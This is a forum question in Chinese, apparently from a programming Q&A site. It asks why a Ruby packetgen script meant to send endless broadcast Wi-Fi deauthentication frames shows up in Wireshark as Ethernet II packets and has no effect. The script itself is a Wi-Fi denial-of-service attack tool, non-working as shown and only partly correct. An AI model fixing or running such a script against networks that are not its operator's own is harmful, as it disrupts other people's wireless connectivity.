我编写了一个简单的取消验证攻击脚本,可以在自己的网络上使用。我运行Wireshark来查看数据包,但是它们没有显示为取消身份验证数据包,而是显示为以太网II数据包。此外,它们对我的网络的任何设备都没有影响。我在无线接口上注入了这些数据包。我重写了几次脚本,但问题仍然存在。是由我的网络问题引起的还是我的代码有问题?屏幕截图和脚本代码在下面。
屏幕截图:
代码:
require 'packetgen'
def deauth()
network = 'wlp2s0'
yes = 'y'
no = 'n'
broadcast = 'FF:FF:FF:FF:FF:FF'
print 'Do you want to deauth network?[y/n]'
input = gets.chomp
if input == yes or yes.upcase!
puts 'Deauthing all network clients...'
while true
PacketGen.gen('Dot11::Management', mac1: broadcast).
add('Dot11::DeAuth').
to_w(network)
end
elsif input == no or no.upcase!
print 'Okay :('
end
end
deauth()